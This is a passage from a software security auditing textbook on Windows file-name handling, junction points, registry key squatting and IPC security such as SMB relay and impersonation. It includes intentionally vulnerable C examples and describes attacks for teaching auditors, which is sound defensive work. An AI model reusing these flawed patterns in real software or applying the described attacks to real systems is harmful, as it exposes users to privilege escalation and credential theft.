type of bug in the Sun ONE Web server. The Sun ONE Web server determined how to 

process files based on the server extension, yet it treated the filenames as case 

sensitive because it was originally built for UNIX systems. Therefore, if a JSP page 

was requested with an uppercase extension (hello.JSP as opposed to hello.jsp), the 

server would mistakenly list the file's source code rather than run the script. A 

description of this bug is available at 

http://sunsolve.sun.com/search/document.do?assetkey=. 

DOS 8.3 Filenames 

In early versions of Windows and DOS, filenames were represented in the 8.3 format. 

This term refers to a filename composed of up to eight letters, followed by a dot, 

followed by a three-letter file extension. The introduction of Windows NT and 95 

allowed using longer filenames, filenames containing spaces, and filenames without 

extensions. To retain compatibility with earlier Windows versions, these newer file 

systems store a long filename and an 8.3 filename for every file. This 8.3 filename is 

generally composed of the first six letters of the long filename followed by a tilde(~) 

and a number, and then the dot and the first three letters of the extension. The 

http://sunsolve.sun.com/search/document.do?assetkey=1-26-55221-1
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number after the tilde differentiates between long filenames that have the first six 

letters of their names in common. For example, the thisisalongfilename.txt 

filename can usually be referred to as thisis~1.txt. 

This format can become a bit of a security problem for filenames that are more than 

eight characters, not including the dot or file extension. This issue is relevant when 

certain files aren't allowed to be accessed or data is kept in separate files 

distinguished by a key that's meant to be unique. For example, refer to the user 

profile code used to demonstrate some file handling vulnerabilities so far. In 

applications such as this one, it might be possible to steal other users' credentials by 

creating a username that's the same initial six letters followed by a ~1. Assume the 

application is managing users, one of whom is an administrator with the username 

administrator. Creating a new user with the name admini~1 might allow an attacker 

to access that user's profile due to the equivalence of the two names. 

When auditing code for bugs of this nature, be mindful that it may be possible to 

circumvent filename restrictions if a requested filename is larger than eight 

characters. However, this issue can be prevented by prepending the UNC path 

identifier (\\?\) to disable DOS filename parsing when calling CreateFile(). 

Auditing File Opens 

The flexibility of the CreateFile() function can cause a number of problems. You can 

formalize these problems as an ordered list of things to check to determine whether 

a file open is safe. This summary has been divided into tables based on what part of 

the filename users can control: the beginning, the middle, or the end. Some potential 

vulnerabilities fit into more than one of these categories, so there's also a table 

summarizing attacks that are possible when users control any part of the filename. 

This section is a summary of all the attacks discussed thus far in file openings, so it is 

intended as a reference for code auditors when encountering file opens. These tables 

simply list attacks made possible by the file APIs and don't explain when they could be 

used to compromise an application because you have already covered that ground. 

These summaries are just based on generic file open problems that might occur; 

applications might, of course, contain context-specific logic flaws in the way they 

open files (such as not adequately checking file permissions when running in an 

elevated context), and these flaws aren't summarized. Finally, these rules don't apply 

if untrusted data is not used to compose any part of the pathname. 

Controlling the Beginning of a Filename 

Table 11-8 summarizes potential vulnerabilities to check for when users can control 

the beginning of a filename argument. 

Table 11-8. Controlling the Beginning of a Filename 
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Attack Vulnerable If 

Specifying an 

absolute path 

There's no check for path separators. 

Specifying a 

named pipe 

The code fails to check that the file being accessed is a regular file 

(has the attribute FILE_ATTRIBUTE_NORMAL) using GetFileAttributes() 

or is a disk file (FILE_TYPE_DISK) according to GetFileType(). 

Specifying a 

mailslot 

Same as for named pipes. 

 

 

Controlling the Middle of a Filename 

Table 11-9 summarizes potential problems when malicious users can specify part of 

the filename, but there's constant data both before and after the user-controlled 

string. 

Table 11-9. Controlling the Middle of a Filename 

Attack Vulnerable If 

Directory 

traversal 

attack 

The code fails to check for directory traversal characters (..). 

DOS 8.3 

filenames 

The code does static string comparisons on potentially long filenames 

and makes policy decisions based on that comparison. Also, the 

filename must be passed to CreateFile() without being prefixed with 

\\?\. 

 

 

Controlling the End of a Filename 

Table 11-10 summarizes vulnerabilities that might arise in an application when users 

can control the end of a filename. In many instances, it might be the intention that 

users control just the middle of a filename, but they can control the end by using up 

the entire amount of space in a buffer. For example, in the following line, if user_input 

is large enough, the .txt extension will be cut off: 

_snprintf(buf, sizeof(buf), "%s.txt", user_input); 

 

Table 11-10. Controlling the End of a Filename 

Attack Vulnerable If 
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Table 11-10. Controlling the End of a Filename 

Attack Vulnerable If 

Directory 

traversal attack 

The code fails to check for directory traversal characters (..). 

Adding 

extraneous 

trailing characters 

Some checks are made on the file extension or filename without 

taking into account the silent truncation of spaces and dots. 

DOS 8.3 

filenames 

The code does static string comparisons on potentially long 

filenames and makes policy decisions based on that comparison. 

Also, the filename must be passed to CreateFile() without being 

prefixed with \\?\. 

 

 

Controlling Any Part of the Filename 

Table 11-11 summarizes generic attacks that might be available to attackers, no 

matter what part of the filename they control. 

Table 11-11. Controlling Any Part of a Filename 

Attack Vulnerable If 

Specifying a 

device 

The code fails to check that the file being accessed is a regular file (has 

the attribute FILE_ATTRIBUTE_NORMAL) using GetFileAttributes() or is a 

disk file (FILE_TYPE_DISK) according to GetFileType(). Also, vulnerable 

only if the pathname isn't prefixed with \\?\. 

Specifying 

ADS 

The code fails to check for the ADS separator (:). 

Filename 

squatting 

The code intends to create new files but doesn't use the CREATE_NEW flag 

to CreateFile(), and users are able to write files into the relevant 

directory. 

Case 

sensitivity 

The code does checks on a filename assuming case sensitivity (more 

common in code ported from UNIX to Windows). 

 

 

Links 

Links provide a mechanism for different file paths to point to the same file data on 

disk. Windows provides two mechanisms for linking files: hard links and junction 

points. Hard links in Windows are similar to those in UNIX; they simply allow a file on 

disk to have multiple names. Junction points enable a directory to point to another 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 692 

directory or volume attached to the system. They apply to directories only; there's no 

soft link parallel in Windows, with the exception of Windows shortcut files. The 

presence of these special files might allow attackers to trick applications into 

accessing files in unauthorized locations, thus potentially undermining the security of 

the application. The following sections discuss how to identify problems that result 

from encountering these types of special files. 

Hard Links 

Creating a hard link simply assigns an additional name to the linked file so that the file 

can be referred to by either name. A file object on disk keeps track of how many 

names refer to it so that when a link is deleted, the file is removed from the system 

only when no more names refer to it. A hard link can be created programmatically by 

using the CreateHardLink() function. Hard links can be applied only to files, not 

directories, and the original file and the new hard link must reside on the same 

volume; you can't create a link to a file where the target name resides on a separate 

volume or a remote location specified by a UNC path name. Finally, the user creating 

the hard link must have appropriate access to the destination file. 

Junction Points 

Junction points are special directories that are simply pointers to another directory; 

the target directory can be located on the same volume or a different volume. In 

contrast to hard links, junction points can point only between directories; files can't 

be used as the source or target of a junction point. 

Note 

Actually, you can create directory junction points that point to files, but attempts to 

open them always fail with ERROR_ACCESS_DENIED. 

 

Apart from this limitation, junction points are similar to the symbolic links discussed 

already in the UNIX chapters. Junctions are available only on volumes formatted as 

NTFS 5 and later, as they use reparse point functionality in those NTFS versions. 

Reparse Points 

Junctions are implemented through the use of NTFS reparse points. NTFS 

files and directories can set the FILE_ATTRIBUTE_REPARSE_POINT attribute to 

indicate that a file system driver needs to intervene in file-handling 

operations. The file system driver then performs special parsing on a reparse 

data buffer associated with the file. Every file system driver that implements 
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reparse points has a unique tag registered in the kernel. When a file with a 

reparse point is encountered, the reparse data buffer is compared against 

each registered tag value, and then passed off to the appropriate driver 

when a match is found. If no match is found, the file access fails. 

Junctions are one implementation of reparse points. They apply only to 

directories, which must be emptya constraint of reparse points applied to 

directories. Their data buffer contains a pointer to the target location the 

directory is intended to point to. The driver can then use this information to 

find the real target file an application is attempting to access. 

At the time of this writing, there's no publicly exposed API to manipulate 

reparse points easily. However, users can construct and examine reparse 

data buffers by using the DeviceIoControl() function. Mike Nordell explains 

in more detail how to create and manipulate reparse points at 

www.codeproject.com/w2k/junctionpoints.asp. 

 

Because junction points are dynamicmeaning they can point anywherewhere the 

junction points can change at any time. Their presence represents some potential 

issues for applications trying to access files securely. These vulnerabilities fall into 

two primary categories, explained in the following sections: 

 Unintentional file access outside a particular subdirectory structure 

 File access race conditions 

Arbitrary File Accesses 

Often an application should restrict access to a confined region of the file system. For 

example, an FTP server might export only a specific subdirectory, or an application 

that manages user profiles might access user data in only a certain subdirectory. 

Say a privileged service is accessing files in c:\temp, which a normal user can also 

write to. Attackers might be able to cause the service to access system files that it 

shouldn't. The following example shows some vulnerable code: 

BOOL WriteToTempFile(LPCSTR filename, LPCSTR username, 

                     LPVOID data, size_t length) 

{ 

    char path[MAX_PATH], ext[8]; 

     HANDLE hFile; 

 

    if(strchr(filename, '\\') != NULL 

       || strstr(filename, "..") != NULL) 

        return FALSE; 

http://www.codeproject.com/w2k/junctionpoints.asp
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    generate_temporary_filename_extension(ext); 

 

    snprintf(path, sizeof(path)-1, "c:\\temp\\%s_%s_%s.txt", 

             user, filename, ext); 

    path[sizeof(path)-1] = '\0'; 

 

    hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 

                       NULL, CREATE_ALWAYS, 0, NULL); 

 

    if(hFile == INVALID_HANDLE_VALUE) 

        return FALSE; 

 

    ... write data ... 

} 

 

There are several problems with the way this code is written, but assume attackers 

can provide the filename, but not the username; the username is determined when 

they log in. By creating a junction with the same name as the file being created, 

attackers can have this filename written to anywhere on the file system. Furthermore, 

a large number of spaces (as discussed earlier) can be used to remove the extension 

and create a completely predictable file. 

To perform this attack, users (say bob) could create a junction in c:\temp pointing to 

C:\Windows\system32 and named bob_dirname. Attackers would then specify a 

filename with enough spaces to cut off the trailing data, so the resulting path would 

translate to any arbitrary file under the main 32-bit system directory. Assuming the 

application is running with sufficient privileges, this allows the attacker to replace 

executables or libraries used by services and administrative users. 

In this example, users need to be able to supply a file separator. The code checks for 

\\, not /, which allows them to supply one. Because junctions can be linked 

successfully only between two directories, path separators are always an additional 

consideration when determining whether a bug is exploitable through the use of 

junctions. If a path separator can't be specified, exploitation is possibly more limited. 

As always, exploitability of a bug of this nature depends on how the pathname is built 

and whether the file is written to or read from. Still, there is the potential for a 

vulnerability any time attackers can potentially circumvent an application's file access 

restrictions to affect arbitrary parts of the file system. 

It can also be dangerous to read a file controlled by less privileged users. A malicious 

user might be able to perform some nasty tricks, particularly by using junctions. To 

understand this problem, take a look at a simple example: 
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int LoadUsersSettings(LPCSTR User, LPCSTR SettingsFileName) 

{ 

    char path[MAX_PATH]; 

    HANDLE hFile; 

 

    _snprintf(path, sizeof(path)-1, "%s\\appdata\\%s", 

              get_home_directory(User), 

        SettingsFileName); 

    path[sizeof(path)-1] = '\0'; 

 

    hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 

                       NULL, OPEN_ALWAYS, 0, NULL); 

 

    If(hFile == INVALID_HANDLE_VALUE) 

        return -1; 

 

    ... read the file ... 

} 

 

This code seems innocent enough, assuming the get_home_directory() function 

works as expected. However, attackers could create a junction named appdata that 

points to an arbitrary location on the file system. If they can then specify the 

SettingsFileName argument, they could use junctions to arbitrarily read any file on 

the system. 

File Access Race Conditions 

When a privileged process needs to access an object on the file system on behalf of a 

less privileged user, there are two basic ways to do so. The first way is to impersonate 

the user and attempt to access the file as normal; the second way is to retrieve 

information about the file and then decide whether to proceed based on file attributes 

and related security rights. The second approach carries some inherent dangers 

because the file system isn't a static entity and neither are the objects residing on it. 

Therefore, the state of the file could change between the time file attributes are 

examined and when the file is actually operated on. This situation is referred to as a 

race condition. You have examined race conditions already on UNIX file systems, and 

race conditions on Windows file systems are quite similar. 

TOCTTOU 

As in UNIX, race conditions primarily occur as a result of the time of check to time 

of use (TOCTTOU) variance in an application. This vulnerability occurs when a 

security check is done on a file (examining the owner or other properties of the file), 

and then the file is accessed later, assuming the security check passes. During the 
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intervening period, the file could be modified so that its attributes change, resulting in 

the privileged application accessing a file it didn't intend to. The scope of this attack 

tends to be more limited in Windows because the File APIs are designed in such a way 

that they're less conducive to attacks of this nature. For example, in UNIX, TOCTTOU 

attacks could happen by using access() and then open(). There's no direct correlation 

of that code sequence in Windows; the API encourages checks to be done as the file 

is being opened. However, being able to change attributes between a call to 

GetFileAttributes() and CreateFile() could have consequences that lead to a 

vulnerability. 

 

7.7.8 The Registry 

The registry is an integral part of Windows operating systems. It provides a 

centralized database containing configuration information about software installed on 

the system and the system itself. Applications often access the registry, and the 

manner in which they do so is quite important for security reasons because the 

information in there can direct how the program operates. Information in the registry 

can be stored in several formats and is used for controlling many aspect of a 

program's behavior. Applications might store pathnames to more detailed 

configuration files or helper DLLs, integer values that determine the level of 

processing an application performs on a file, and so forth. You need to be able to 

examine each access to the registry in an application to determine whether it's done 

securely; if it isn't, you must evaluate the level of danger that the application is 

exposed to if someone takes advantage of an insecure registry access. 

The registry is organized in a large tree structure. Each top node is called a key, each 

nonleaf node below a top node is a subkey, and each leaf node is a value. Several 

predefined keys exist on every system. Table 11-12 summarizes them, based on 

information in the MSDN. 

Table 11-12. Predefined Registry Keys 

Name Purpose 

HKEY_CLASSES_ROOT Used for storing file type information and their associated 

properties. It is an alias to a branch in 

HKEY_LOCAL_MACHINE. 

HKEY_CURRENT_CONFIG Used for system hardware configuration information. It is 

an alias to a branch in HKEY_LOCAL_MACHINE. 

HKEY_CURRENT_USER Used to store preferences for the current user. Each user 

has his or her own set of preferences, and retrieving 

values from this key provides access to user preferences, 

31051536.html
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Table 11-12. Predefined Registry Keys 

Name Purpose 

depending on the identity of the process accessing the 

key. It is an alias to a branch in HKEY_USERS. 

HKEY_LOCAL_MACHINE Used to store information about hardware, systemwide 

configuration parameters (such as network 

configuration), and systemwide software configuration 

details. 

HKEY_USERS Contains default user profile information to be used for 

new users and profile information for all the users on the 

system. 

 

 

Key Permissions 

As mentioned already, keys are securable objects, so they have a set of access rights 

used to restrict who can read and write to keys and constituent vales. Table 11-13 

summarizes these access rights, based on information in the MSDN. 

Table 11-13. Key Access Rights 

Access Right Meaning 

KEY_CREATE_LINK Reserved. 

KEY_CREATE_SUB_KEY Allows users to create a subkey of a registry key. 

KEY_ENUMERATE_SUB_KEYS Allows users to enumerate all subkeys of a registry key. 

KEY_EXECUTE Same as KEY_READ. 

KEY_NOTIFY Allows a user to receive a notification when a change is 

made to the given registry key or one of its subkeys. 

KEY_QUERY_VALUE Allows users to query values of a registry key. 

KEY_READ Equivalent to combining STANDARD_RIGHTS_READ, 

KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTIFY. 

KEY_SET_VALUE Allows users to create, delete, or modify values in a key. 

KEY_WOW64_32KEY Allows a 64-bit application to access the 32-bit registry view 

of the key. 

KEY_WOW64_64KEY Allows a 64-bit application to access the 32-bit registry view 

of the key. 

KEY_WRITE Equivalent to combining STANDARD_RIGHTS_WRITE, 
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Table 11-13. Key Access Rights 

Access Right Meaning 

KEY_SET_VALUE, and KEY_CREATE_SUB_KEY. 

KEY_ACCESS_ALL Combines all values listed in this table. 

 

The permissions applied to keys created by applications are quite critical because the 

capability to manipulate them can result in severe modification of an application's 

behavior. The exact effects of altering registry keys is very application specific. In the 

worst case, however, unchecked registry manipulation could allow an attacker to 

manipulate the most critical elements of a Windows system. 

Another important point is that registry keys can be secured but registry values can't. 

The values are simply in the security scope of the keys, so any attempt to implement 

a permission boundary must be applied to keys, not values. 

Key and Value Squatting 

As with all other named objects, keys could potentially be created before an 

application creates them. This could allow attackers to supply arbitrary values to the 

key, regardless of permissions the application attempts to enforce. Key squatting is 

far less likely than other name squatting for two main reasons: 

 Applications often create keys and values only once, when the application is 

installed. To create a key before an application does, you might have to create 

it before the application is actually installed, which drastically limits 

exploitability. 

 The default permissions on registry hives are quite strict, allowing only 

administrative users to write to the portions under the local machine hive. 

Therefore, there's far less chance that malicious users can write to sensitive 

keys or values. 

Despite these reasons, key squatting might still be an issue. Services can store 

session-related information in the registry, allowing applications to potentially squat 

on key and value pairs. Client applications might also perform similar operations that 

leave them vulnerable to client-side registry squatting attacks. Here's the API for 

creating and opening registry keys: 

LONG RegCreateKeyEx(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, 

    LPTSTR lpClass, DWORD dwOptions, REGSAM samDesired, 

    LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, 

    LPDWORD lpdwDisposition) 
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The RegCreateKeyEx() function is responsible for creating a new key or opening an 

existing key. The first parameter is a handle to an existing key or one of the 

predefined keys discussed earlier. The second parameter is the subkey to create or 

open. All the remaining parameters provide information about the subkey, such as 

what type of data is stored in the key, associated security permissions, and so forth. 

If the key already exists, all parameters pertaining to the type of key and the key 

access permissions are ignored. When looking for key-squatting issues, the last 

parameter, lpdwDisposition, is important. This value is filled in by RegCreateKeyEx() 

and can contain REG_CREATED_NEW_KEY to indicate it created the key successfully or 

REG_OPENED_EXISTING_KEY. Therefore, an application is immune to key squatting if it 

checks this value, as shown in this example: 

BOOL CreateNewKey(HKEY hKey, LPCSTR lpSubKey, HKEY hNewKey) 

{ 

    DWORD dwDisp; 

 

    if(RegCreateKeyEx(hKey, lpSubKey, NULL, NULL, 

        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 

        NULL, &hNewKey, &dwDisp) != ERROR_SUCCESS) 

        return FALSE; 

    if(dwDisp != REG_CREATED_NEW_KEY) 

        return FALSE; 

 

    return TRUE; 

} 

 

However, if an application fails to check the lpdwDisposition value and is writing to a 

registry location accessible to malicious users, the potential for key squatting exists. 

The following example is a slightly modified version of the CreateNewKey() function 

that's now vulnerable to key squatting: 

BOOL CreateNewKey(HKEY hKey, LPCSTR lpSubKey, HKEY hNewKey) 

{ 

    if(RegCreateKeyEx(hKey, lpSubKey, NULL, NULL, 

        REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 

        NULL, &hNewKey, NULL) != ERROR_SUCCESS) 

        return FALSE; 

 

    return TRUE; 

} 
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Notice that a NULL value is supplied as the disposition argument to RegCreateKeyEx(). 

Therefore, there is no way of knowing whether a new key is a created key or an 

existing one is opened. This failure to check for the key's creation state leaves this 

code vulnerable to key squatting attacks. 

 

7.7.9 Summary 

This chapter establishes essential background information on the Windows OS and 

the applications developed for it. You've observed the important aspects of the object 

model, and how the Windows security model is applied. You've also discovered many 

of the more specific quirks of how Windows handles typical OS capabilities such as 

paths, process, and so on. With these tools, you should be able to note areas where 

the Windows architecture is confusing and where developers are more prone to make 

security mistakes. In the next chapter, you will expand on this foundation and 

address the unique issues that occur in communications across processes and remote 

systems. 

7.8 Chapter 12.  Windows II: Interprocess 

Communication 

Chapter 12. Windows II: Interprocess Communication 

"Give me back my elephant!" 

Tony Jaa as Kham, Tom yum goong (2005) 

7.8.1 Introduction 

Chapter 11(? [????.]), "Windows I: Objects and the File System," explored general 

architectural issues that affect the security of Windows applications. It focused on 

developing an understanding of the Windows security model and its object-based 

architecture. Up to this point, however, you have looked at these components only in 

isolation from the rest of the system. To complete your understanding of Windows, 

you need to consider the interprocess communications (IPC) mechanisms Windows 

provides and how they affect application security. 

IPC refers to the mechanisms for passing data (in a myriad of forms) between two 

related or unrelated processes. These processes can exist on the same machine or 

could be located on different machines that communicate across a network. Windows 

operating systems provide a wide variety of native IPC mechanisms, each with a rich 

feature set for controlling communication details and access controls. These 

31051536.html
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mechanisms are used extensively to transmit data, apportion workloads, and signal 

events between processes on the same system or across a network. 

Of course, all this capability comes at a price; communication mechanisms must 

expose some attack surface and open the potential for new vulnerabilities. In the 

most severe cases, Windows IPC vulnerabilities have allowed remote unauthenticated 

users to gain full administrative access to a vulnerable machine. This chapter 

examines several popular IPC mechanisms in Windows operating systems and 

explains how to apply what you have already learned to assess services using these 

IPC mechanisms. 

7.8.2 Windows IPC Security 

Before you delve into the coverage of IPC mechanisms, you need to expand your 

knowledge of Windows security a bit. Chapter 11(? [????.]) explained the core 

elements of the security model; however, there are more complicated situations to 

consider when you're dealing with IPC communications. In particular, you need to 

understand how security is affected by communication across a network and how 

impersonation affects the user security context. The following sections explain some 

basic principles of IPC security that lay the foundation for the discussion in the 

remainder of this chapter. 

The Redirector 

Windows network authentication can be confusing from the programmer's 

perspective because so many things seem to happen implicitly, and you might not be 

sure what's going on under the hood. The redirector is the component that acts as 

the man behind the curtain. It provides the mapping that makes it possible to use the 

same API calls for local files, remote files, named pipes, mailslots, and WebDAV 

shares. The following sections cover some security-relevant elements of the 

redirector without the distraction of unnecessary details. 

Universal Naming Convention 

Universal Naming Convention (UNC) paths were mentioned briefly in Chapter 11(? 

[????.]). For networking purposes, a UNC path provides a standardized way of 

referencing files and devices across networked systems. UNC paths take the following 

form: 

\\server\share\path 

 

The server is simply the name of the system; depending on the environment, it can be 

a NETBIOS name, an IP address, or a qualified DNS name. Supplying a period (.) 

character for the server is an alias for the local system. The share is the exported 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 702 

name assigned to a directory or device on the remote system. Finally, the path is just 

the qualified path to a file. 

Session Credentials 

Chapter 11(? [????.]) discussed how user logon sessions are containers for tokens 

associated with a user logon, but this explanation can be expanded to include 

connections to remote systems. Connecting to any remote system generates a set of 

session credentials for that machine, and these credentials are stored in the logon 

session. A logon session can have at most one session credential for each remote 

system. 

To understand how this works, consider a connection to the remote share stuff on 

the host Bob; the UNC path for this share is \\Bob\stuff. You can map this share to the 

drive letter X with the following command: 

net use X: \\Bob\stuff 

 

Now any references to the X: drive are redirected to the stuff share on Bob. One thing 

you may notice about this command line is that no explicit credentials are passed for 

connecting to this share. The credentials are not passed explicitly because the OS 

passed the existing logon session credentials automatically. This implicit behavior is 

what saves you the trouble of reentering your password in an NT Domain or Active 

Directory environment. However, it can be the source of some issues when the 

remote system isn't in a trusted domain. 

Assume that you and Bob aren't in the same domain. This means Bob's computer has 

an account matching your user name and password, or he has enabled anonymous 

access for the share. So you poke around a bit and discover that Bob does in fact allow 

anonymous access to the share, but these credentials are insufficient to access the 

share's contents. Fortunately, Bob is a friend and you have an account on his 

computer. So you can simply run the following command to connect with the 

appropriate credentials: 

net use Y: \\Bob\stuff /user:Bob\Joe 

 

This command should allow you to log on to Bob's system as a local user named Joe; 

issuing this command then displays a prompt for Joe's password. Unfortunately, the 

password still won't work at this time. To see why, just issue a net use command with 

no arguments. You will see that the logon session still has your connection to Bob's 

computer from when you mapped the X: drive. Remember that Windows allows only 

one set of session credentials for a remote server from a logon session. The 

anonymous connection to X: already established a session, so you need to disconnect 
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that existing session before you can log on as Joe. You can unmap the X: drive with 

the following command: 

net use X: /D 

 

After unmapping the X: drive, you can successfully establish a new connection to 

Bob's system. This example should demonstrate that a logon session can maintain 

only one set of session credentials per remote system. This restriction isn't just 

limited to file shares. It's a core part of the security model and applies to all network 

IPC mechanisms using built-in Windows authentication. 

SMB Relay Attack 

The previous section stated that Windows passes your credentials automatically when 

connecting to another system, but this isn't exactly true. In traditional Windows 

authentication, the server actually presents the client with a random challenge value. 

The client then responds with a message authentication code (MAC) incorporating the 

password hash and challenge value. This challenge sequence is how LAN Manager (LM) 

and NT LAN Manager (NTLM) authentication avoid presenting the password hash to a 

potentially malicious server. 

The downside to this authentication mechanism is that the server's identity is never 

verified. As a result, LM and NTLM authentication are vulnerable to a type of 

man-in-the-middle attack known as an SMB relay or SMB proxy attack. To exploit 

this vulnerability, an attacker causes a victim to establish a Server Message Block 

(SMB) connection to an attacker-controlled system. This could be done by e-mailing 

the victim a link to a UNC file path or through a variety of other means. The attacker 

then initiates a connection to a target system and acts as a proxy between the victim 

and the target. After the challenge exchange is completed, the attacker is connected 

to the target server with the victim's credentials. As an auditor, you need to be aware 

of situations in which an application can be coerced into connecting to untrusted 

machines, as it can expose the application's credentials to these attacks. 

Impersonation 

Impersonation is one of the components that might be most responsible for Windows 

popularity in enterprise environments. It allows credentials to be transferred 

automatically to processes in another session on the same machine or a different 

system. Impersonation is one of the foundational components of Windows single 

sign-on (SSO) capability. However, all the flexibility and convenience of this system 

does require devoting some extra care to its use. 

Impersonation plays a major role in implementing security for Remote Procedure Call 

(RPC) and Distributed Component Object Model (DCOM) services, Dynamic Data 
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Exchange (DDE) client/servers, and named pipe client/servers. The functions of each 

of these IPC mechanisms are covered individually over the course of this chapter, but 

first you need to learn a few common aspects of impersonation that apply to all these 

IPC mechanisms. 

Impersonation Levels 

Impersonation levels allow a client to restrict the degree to which an IPC server can 

use the client's credentials. When these values are supplied, they provide a level of 

protection for the client; otherwise, the client might accidentally supply its credentials 

to a malicious server, allowing that server to access network resources on the client's 

behalf. Table 12-1 summarizes the impersonation levels from the Microsoft Developer 

Network (MSDN, msdn.microsoft.com). 

Table 12-1. Impersonation Levels 

Level Meaning 

SecurityAnonymous The server can't impersonate or identify the client. 

SecurityIdentification The server can verify the client's identity but can't 

impersonate the client. 

SecurityImpersonation The server can impersonate the client's security context on 

the local system. 

SecurityDelegation The server can impersonate the client's security context on 

remote systems. 

 

Where are these impersonation levels specified by the client? Usually, they appear as 

a parameter in IPC connection functions. The security implications of impersonation 

levels are best understood in the context of a specific IPC mechanism. So you will 

revisit impersonation levels throughout the chapter as each IPC mechanism is 

discussed. 

SeImpersonatePrivilege 

Impersonation issues provide opportunities for privilege escalation vulnerabilities, so 

Microsoft made a fundamental change in the way impersonation is handled. Windows 

Server 2003, Windows XP SP2, and Windows 2000 SP4 added 

SeImpersonatePrivilege, which is a required privilege for impersonating another user. 

A normal user doesn't have this privilege by default, although it's granted to the 

built-in service accounts. This change significantly reduces the chances of 

impersonation-based attacks in later versions of Windows. However, for code 

auditors, it's best to assume the application is deployed in an environment where 

normal users can perform impersonation. 
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7.8.3 Window Messaging 

Windows messaging is a bit confusing to people coming from other platforms, even 

earlier versions of Windows. The user interface (UI) is message driven; however, it's 

a poor choice for general-purpose IPC on modern Windows systems. This is in direct 

contrast to earlier versions of Windows, which used the message system to meet 

many IPC requirements. This change in approach is primarily because of the security 

issues associated with window messaging. 

Windows provides two types of securable GUI objects: window stations 

(WindowStation) and desktops (Desktop). Their architecture and caveats for their use 

are covered in the following sections. However, note that this security model doesn't 

extend to the actual Window objects. This distinction is important to make, as it helps 

you grasp the implicit vulnerability in a privileged process being exposed to 

potentially malicious input in the form of window messages. 

Window Stations Object 

The window station is the primary method of isolating GUI-based communication. It 

contains essential GUI information, including a private atom table (a shared collection 

of strings), a clipboard, windows, and one or more desktop objects. Each logon 

session is associated with a single window station, along with every process on a 

Windows system. Processes can be moved between window stations, assuming the 

associated tokens have adequate privileges. Windows provides a single window 

station for keyboard, mouse, and the primary display: Winsta0. It's referred to as the 

"interactive window station." Windows Terminal Services creates an additional 

Winsta0 for each connected terminal session. 

Each unique account associated with a running service has a separate window station, 

so all services running under the network service account share a single window 

station and desktop. Meanwhile, all services running under the local service account 

share a separate desktop and window station. The service window stations are named 

for the logon session identifier of the associated account. This means network 

services are on the Service-0x0-3e6$ window station, which corresponds to the 

hard-coded session identifier for the network service account. Meanwhile, local 

services are on the Service-0x0-3e5$ window station, which corresponds to the 

hard-coded session identifier for the local service account. Services that run in the 

context of other accounts are associated with similarly named window stations, 

although the session identifier is somewhat random. 

The discretionary access control list (DACL) on a window station is quite strict; it 

limits window station access to essentially the system account and the owning user. 

For services, the DACL is assigned when the window station is created for the service 

account. For Winsta0, an access control entry (ACE) for the user's security ID (SID) is 

added to the DACL at logon and removed at logoff. One interesting twist occurs when 
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a process is started in a context other than the window station's owner, such as 

through the RunAs service. In this case, the ACL of the window station isn't modified; 

instead, the process inherits an open handle to the window station from the parent 

process. Therefore, communication is allowed without violating security 

requirements. 

The Desktop Object 

A desktop object is a securable UI object that functions as a display surface for 

attached threads; every thread on the system is associated with a single desktop. 

Desktops exist as objects inside a window station, and a window station can contain 

any number of Desktops, although there are only two common configurations: 

Winsta0 and service window stations. Winsta0 contains three desktop objects: default 

(the interactive user desktop), Winlogon (the logon screen desktop), and the screen 

saver. Service window stations typically have only a default desktop. 

The access control on a desktop determines which users can manipulate the display 

surface. Although it's important that attackers can't read a victim's screen arbitrarily, 

the standard DACL addresses this concern reasonably well. What a desktop doesn't 

handle is actually more interesting. That is, a desktop doesn't affect processing of 

window messages. A window is associated with a desktop at creation, but it's just a 

tag for display purposes. The actual messaging is handled via the window station, so 

you don't need to be very concerned with desktops in code auditing because they 

don't affect how input is processed. 

Window Messages 

Before you dig into the hazards of Windows messaging, you need some background 

on how everything works, especially if you've never programmed for Windows before. 

This section explains the basics of a windowed program. Readers already familiar with 

UI programming in Windows can choose to skip to the next section. UI windows 

receive events through the use of window messages that have the following 

structure: 

typedef struct { 

    HWND hwnd; 

    UINT message; 

    WPARAM wParam; 

    LPARAM lParam; 

    DWORD time; 

    POINT pt; 

} MSG, *PMSG; 
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The message member indicates the type of event the target window is being informed 

of. The wParam and lParam values specify additional information about the message. 

The interpretation of these fields depends on the type of message. Finally, the time 

parameter indicates when the message was posted, and the pt variable indicates the 

coordinates of the mouse at the time the message was posted. Most 

message-handling routines are concerned only with the message, wParam, and lParam 

members, which are passed as separate parameters instead of being part of a single 

MSG structure parameter. 

The OS delivers messages to windows in a first in, first out (FIFO) queue. These 

messages can be generated by system events, such as mouse movements or key 

presses. They can also be generated by other threads on the same desktop. Window 

messages control most aspects of the UI, including clipboard operations and the 

properties of a window. 

These are the four essential steps in creating a functional windowed application: 

1.  Creating a WindowProc() function to handle messages. 

2.  Defining a class that associates this WindowProc() to a window type. 

3.  Creating an instance of the Window class. 

4.  Creating a message-processing loop 

The first step in creating a window is to create the WindowProc() function, which 

handles all the messaging. The following code is a simple WindowProc() function that 

demonstrates the basic layout: 

int MainWindowProc(HWND hWnd, UINT iMsg, WPARAM wParam, 

                   LPARAM lParam) 

{ 

    switch(iMsg) 

    { 

    case WM_CREATE: // Initialize 

        return 0; 

 

    ... handle additional messages here ... 

 

    case WM_DESTROY: // Exit on WM_DESTROY 

        return PostQuitMessage( 0 ); 

 

    default: 

        return DefWindowProc(hWnd,iMsg,wParam,lParam); 
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    } 

} 

 

As you can see, this function is primarily just a switch statement for handling window 

messages passed via the iMsg parameter. This example shows processing for the 

WM_CREATE and WM_QUIT messages, although it doesn't do much with them. The default 

message handler, DefWindowProc(), does most of the heavy lifting. It's the default 

case in the switch statement that handles all system messages and other messages 

not explicitly handled by the application, which make up the bulk of the message 

traffic. 

Now that you understand a bit about the handler, you need to see how it's registered 

with the system. This registration is done with the RegisterClassEx() function, which 

associates a name with the handler in the context of a process. The following code is 

a simple function that registers the handler created in the previous example: 

